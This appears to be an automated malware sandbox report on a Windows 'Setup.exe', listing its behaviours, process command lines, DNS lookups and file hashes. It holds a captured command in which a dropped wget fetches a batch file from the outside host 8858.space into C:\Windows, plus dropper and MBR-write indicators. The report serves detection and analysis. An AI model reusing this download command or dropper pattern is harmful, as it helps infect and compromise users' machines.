Analysis Overview
SHA256
96e4ec16ccd374b8be624079f68012d1707af8e31f66885dfbacbde8b407f208
Threat Level: Shows suspicious behavior
The file Setup.exe was found to be: Shows suspicious behavior.
Malicious Activity Summary
Executes dropped EXE
Checks computer location settings
Loads dropped DLL
Checks installed software on the system
Writes to the Master Boot Record (MBR)
Checks for any installed AV software in registry
Drops file in Windows directory
Enumerates physical storage devices
Unsigned PE
Suspicious use of WriteProcessMemory
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-12 14:10
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-12 14:10
Reported
2024-06-12 14:11
Platform
win10v2004-20240508-en
Max time kernel
33s
Max time network
40s
Command Line
Signatures
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\Setup.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Set-up.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-5E6G5.tmp\Set-up.tmp | N/A |
| N/A | N/A | C:\Windows\Wget\bin\wget.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-U93J1.tmp\VpnSetupWatchdog.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Wget\bin\wget.exe | N/A |
| N/A | N/A | C:\Windows\Wget\bin\wget.exe | N/A |
| N/A | N/A | C:\Windows\Wget\bin\wget.exe | N/A |
| N/A | N/A | C:\Windows\Wget\bin\wget.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-5E6G5.tmp\Set-up.tmp | N/A |
Checks for any installed AV software in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Software\WOW6432Node\AVAST Software\Avast | C:\Users\Admin\AppData\Local\Temp\is-5E6G5.tmp\Set-up.tmp | N/A |
Checks installed software on the system
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File opened for modification | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\is-U93J1.tmp\VpnSetupWatchdog.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\a.bat | C:\Users\Admin\AppData\Local\Temp\Setup.exe | N/A |
| File opened for modification | C:\Windows\Wget\bin\libeay32.dll | C:\Users\Admin\AppData\Local\Temp\Setup.exe | N/A |
| File opened for modification | C:\Windows\s.txt | C:\Users\Admin\AppData\Local\Temp\Setup.exe | N/A |
| File opened for modification | C:\Windows\Wget\bin\libiconv2.dll | C:\Users\Admin\AppData\Local\Temp\Setup.exe | N/A |
| File opened for modification | C:\Windows\Wget\bin\libintl3.dll | C:\Users\Admin\AppData\Local\Temp\Setup.exe | N/A |
| File opened for modification | C:\Windows\Wget\bin\libssl32.dll | C:\Users\Admin\AppData\Local\Temp\Setup.exe | N/A |
| File opened for modification | C:\Windows\Wget\bin\wget.exe | C:\Users\Admin\AppData\Local\Temp\Setup.exe | N/A |
| File opened for modification | C:\Windows\curl\curl.exe | C:\Users\Admin\AppData\Local\Temp\Setup.exe | N/A |
| File opened for modification | C:\Windows\Set-up.exe | C:\Users\Admin\AppData\Local\Temp\Setup.exe | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Windows\a.bat" "
C:\Windows\Set-up.exe
C:\Windows\Set-up.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ver "
C:\Windows\SysWOW64\findstr.exe
findstr /IL "5.1."
C:\Users\Admin\AppData\Local\Temp\is-5E6G5.tmp\Set-up.tmp
"C:\Users\Admin\AppData\Local\Temp\is-5E6G5.tmp\Set-up.tmp" /SL5="$401EA,20689414,209920,C:\Windows\Set-up.exe"
C:\Windows\Wget\bin\wget.exe
C:\Windows\Wget\bin\wget.exe -c -P "C:\Windows" "http://8858.space/rs/st/b.bat" --referer="alpha" --user-agent="avgvpn"
C:\Users\Admin\AppData\Local\Temp\is-U93J1.tmp\VpnSetupWatchdog.exe
"C:\Users\Admin\AppData\Local\Temp\is-U93J1.tmp\VpnSetupWatchdog.exe" /setup-pid:2024 /watchdog-watching-evt:Local\AvgVpnSetupWatchdogIsWatchingEvent /setup-log:"C:\Users\Admin\AppData\Local\Temp\Setup Log 2024-06-12 #001.txt"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8858.space | udp |
| US | 8.8.8.8:53 | avg.tools.avcdn.net | udp |
| US | 8.8.8.8:53 | analytics.ff.avast.com | udp |
Files
C:\Users\Admin\AppData\Local\Temp\$inst\0002.tmp
| MD5 | c2228fd017a3c8834ae10f2c55d1bad3 |
| SHA1 | c19c01b335b1e8b163334e54586ffdeb7750a1a3 |
| SHA256 | c93ba3b649ff3e0aff7974da423702eae28975f65afd8eea4f1942c0da5abe86 |
| SHA512 | 092ea49fa883c55069d7a8f3cfaa67db52c399e504168f80f3e5026af4bb23217544ed064239ecbc8fb64d6aa675f382397e436a055801b42b3e61392fa58663 |
C:\Windows\a.bat
| MD5 | 3a42629bc4d36ba374debe5f247d17a0 |
| SHA1 | 905c303362e994011942f41d1609d7540211fa20 |
| SHA256 | 81a99b0caacfbf55933caee67eca6165e39b37d0d554ab7a170af490250838be |
| SHA512 | 76359b0c71aed2852c74c664a7488ec0ceb49371e5fef1c3f30b56cac66caa5291cbb6dc6d574936e5db462ac0989dd425360f647ba81e3601c465347f58508d |
memory/4796-47-0x0000000000400000-0x0000000000449000-memory.dmp
C:\Windows\Set-up.exe
| MD5 | 8ddd444ec6c15507f0fc107b28945559 |
| SHA1 | 54573229e4f967d65d382d25e364f91b19986930 |
| SHA256 | 6cb44d89a8fce1c83ac49aa333b2247ab7974ea11b4eccc36c52ec1987a3ebe4 |
| SHA512 | 4de5eb4b41f696eeffbb835f0a6122190dd1b2946800204ab5458efa3781fe8177b17a3b6704ebc0f6c49aaa613b11560d5cd7df51d617748fdf9fe3a60ee420 |
memory/4624-51-0x0000000000400000-0x000000000043D000-memory.dmp
memory/4624-54-0x0000000000401000-0x0000000000412000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-5E6G5.tmp\Set-up.tmp
| MD5 | d1d1c7b229162cb1634984439b665b95 |
| SHA1 | fc77b253db5d3b5342a1496d6614fc542da94b1a |
| SHA256 | b9da54afd552e36956d1c28c8961f8680372dc7fcb87298f32ed3f465143943d |
| SHA512 | 3c32dc06c250fedf0c78b7f236c378eda14c9a7f22c5b6d9cdeafbd84f2b01b5dd421049c92ca495b4f4c30155ceef536b779cde253ab4947dc16e8c15d77787 |
C:\Windows\s.txt
| MD5 | 9bb5208c5c9576614b5444f0cf56feac |
| SHA1 | c1a7816131944842c6132b67a10349da667bd537 |
| SHA256 | d5a31703c2a34d39825c272342b02538ece2fd0a8d7d1adb15a338ede0cb2b51 |
| SHA512 | 305581e79c585b99004c507b9a3403cf5832900d26d6af55113666c06d29ed2b92b34a579f83f1acaab5aa92e4080bee4208358c64a13d863706252e5f398c03 |
C:\Windows\Wget\bin\wget.exe
| MD5 | aa173375c21ea31b8cc615dccb54e43b |
| SHA1 | a00ea43c0ebbed364a606da39526f1dbed37e91e |
| SHA256 | cf02b7614fea863672ccbed7701e5b5a8fad8ed1d0faa2f9ea03b9cc9ba2a3ba |
| SHA512 | 55f6b509f1b2e9229d8a9526c8f50e696708c81d6339b59aaf807bc6283ed2e5277f654cd5ab77b018db5d5adeb02a64001080838fbfd79634ff88af0049a0d2 |
C:\Windows\Wget\bin\LIBEAY32.dll
| MD5 | 6b854ffc12e5e2c32683a03714cf6c5d |
| SHA1 | c8e5c0f57e18dfc5226ff0bd5bc63607e1754c66 |
| SHA256 | 95550b81825ae3fb4298b0de1f7ebd116754d99483a6d73cc7271e002484a928 |
| SHA512 | 92b8908875b3376d60b19bb0e812b678870c70d708a278c781bd7ad30fdc96464c2038d578152ab7c2e7394f089ba399a55b5d5d7b7179a321b1bd1ef28215bd |
C:\Windows\Wget\bin\libssl32.dll
| MD5 | 37580b9354e984bf7c1a2b4ed7fa824b |
| SHA1 | f750f7b6214f5d03d4d6bb40a15b93b6f0820354 |
| SHA256 | 5e0fae7ffec8ddbaa5d6be610ab99f6a3b671d957a6aa601091acb0dae1921dc |
| SHA512 | 78a02d26007ba9631c85e7b0d1209ed1b854c21e348986039bb74782240b432234db493a5ad0efc6100beb5e9c82633cb3b3e93e282aa686124ffc31e0483d5a |
C:\Windows\Wget\bin\libintl3.dll
| MD5 | d202baa425176287017ffe1fb5d1b77c |
| SHA1 | 192e597d8ff0192f6c4e4643361f84277ed51121 |
| SHA256 | f48ce1866602b114e653c876334b771107559acf1c685373d2305034613958f0 |
| SHA512 | 706d74c56ce8d08539c729bdb6c8d57c9a4b0a1c795b8574a1bb2c452358e1bfd5d4fca5a00ab7568dea4ae02c553ce6ab199b3c6418a44cb8915f7e26bd2988 |
C:\Windows\Wget\bin\libiconv2.dll
| MD5 | e0dc8c6bbc787b972a9a468648dbfd85 |
| SHA1 | 0f73d47122080a0c5c423841b16f4e6c62d79aff |
| SHA256 | 6deedad652bfab7b09ebd0e06045810390b6ac6cb5aa9ef41c9daa5616181f22 |
| SHA512 | afef454b85fb28b41fc4261188fee7a3122e2986b2e1a47e66fce9005cb2ec69c47644115bc52b9719eed15707978262b80e18eedadd0b39ccf5f2b441654a13 |
C:\Users\Admin\AppData\Local\Temp\is-U93J1.tmp\SetupHelper.dll
| MD5 | ab64a924af4a4be440b2765823048936 |
| SHA1 | 92e085c2ac3d3353ed6bdc019a88eaa4a57af876 |
| SHA256 | 7c37d5ba3618cacda09d55af88aa881c27af607c3add483fc54c8911d771ba0d |
| SHA512 | cd50eb228b4d89cad5767abe7f59e964e9e89293bf95318a6fb5e4e862a3b0222b268ad8643c9cd00d561e8fa6e30ff93e8b597c5822988061b882cf0d38dc64 |
memory/4624-75-0x0000000000400000-0x000000000043D000-memory.dmp
memory/1596-77-0x0000000000400000-0x0000000000479000-memory.dmp
memory/1596-81-0x0000000067200000-0x00000000672FB000-memory.dmp
memory/1596-80-0x0000000060E40000-0x0000000060E5D000-memory.dmp
memory/1596-79-0x000000006C380000-0x000000006C3BE000-memory.dmp
memory/1596-78-0x0000000063080000-0x00000000631A8000-memory.dmp
memory/2024-76-0x0000000000400000-0x0000000000542000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-U93J1.tmp\VpnSetupWatchdog.exe
| MD5 | ac1a5aabf7b0eeb53e45578a5bb90137 |
| SHA1 | 02518d40650346f2d0ab4266d853f47543c1405b |
| SHA256 | b11b4412680909374f4a28adacdc802167101c8b7deb5c47a8ee40ca1e731800 |
| SHA512 | 577cef7731cf5dcc1638fc11b060bc723e2d5e2e4472c7b693cb92f53ab839c4746f0cbd4bd66f2b054dc5a2cba4c167de88c20951880beb452bcdaebdc11e5d |
memory/1596-88-0x000000006C380000-0x000000006C3BE000-memory.dmp
memory/1596-87-0x0000000063080000-0x00000000631A8000-memory.dmp
memory/1596-89-0x0000000060E40000-0x0000000060E5D000-memory.dmp
memory/1596-86-0x0000000000400000-0x0000000000479000-memory.dmp
memory/1596-90-0x0000000067200000-0x00000000672FB000-memory.dmp
memory/2024-92-0x0000000000400000-0x0000000000542000-memory.dmp
memory/2024-97-0x0000000000400000-0x0000000000542000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Setup Log 2024-06-12 #001.txt
| MD5 | 11a78bfe3dc1bd339e19ff2138e153ce |
| SHA1 | a3caa3267bd5d49be150a3ede31560f9f4f68340 |
| SHA256 | 001a916579a53828e06f145874e382145d08273102bbbc8ec05cac7d1ceb6195 |
| SHA512 | 93d0632c5e56197d445d3f1d072b5ac93f118804166bb6b9e4af98e7a5f3f72ad7d3dd1244843db927cf218c69c5274a93dd9661a5cd7db7b1ad30094a3e906f |
memory/4624-100-0x0000000000400000-0x000000000043D000-memory.dmp